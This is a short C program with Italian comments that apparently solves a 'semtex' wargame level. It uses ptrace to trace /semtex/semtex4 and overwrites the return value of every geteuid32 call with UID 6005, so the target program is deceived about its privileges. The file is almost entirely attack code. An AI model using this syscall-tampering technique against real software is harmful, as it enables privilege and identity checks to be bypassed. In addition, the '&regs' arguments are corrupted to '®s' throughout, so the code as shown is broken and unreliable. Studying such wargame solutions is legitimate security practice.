//ptrace.c
//gcc -m32 ptrace.c -o ptracer
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/user.h>
#include <sys/syscall.h>
#include <sys/reg.h>
#define PROG "/semtex/semtex4" //Qui definisco il programma
#define EUID 6005 //Qui l'euid che voglio ottenere
int main() {
int status = 0; // Questo mi serve per il child
int syscall_n = 0; // questo per contare le syscall
int entering = 1; // mi serve sempre per il child
struct user_regs_struct regs; //registro dei child
int pid = fork();//questo mi serve per avere un parent ed un child fork, così da avere il tracer
if ( !pid ) {
//qui siamo nel child
ptrace( PTRACE_TRACEME, 0, 0, 0 );//il parent può fare trace su questo processo
execlp( PROG, PROG, 0 );//esegue il programma e ne fa il trace interrompendo il parent
}
else {
//siamo nel parent
wait( &status );//aspetta l'evento, l'ignora e blocca il child
while (1) {
ptrace( PTRACE_SYSCALL, pid, 0, 0 );//ptrace ogni chiamata e fai ripartire il child
wait ( &status );//riblocco
if ( WIFEXITED( status ) ) break;//se il programma termina, chiudo il ciclo
ptrace( PTRACE_GETREGS, pid, 0, ®s );//leggo i registri
syscall_n = regs.orig_eax;//il numero delle syscall
if ( syscall_n == SYS_geteuid32 ) {
//se la syscall è quella che voglio andare a modificare
if ( entering ) {
//se il child sta entrando qui
entering = 0;
}
else {
//se invece sta uscendo
ptrace( PTRACE_GETREGS, pid, 0, ®s );//leggo i registri
regs.eax = EUID;//ci metto il valore voluto
ptrace( PTRACE_SETREGS, pid, 0, ®s );//riscrivo i registri
entering = 1;//la prossima volta starò entrando nella syscall
}
}
}
}
return 0;
}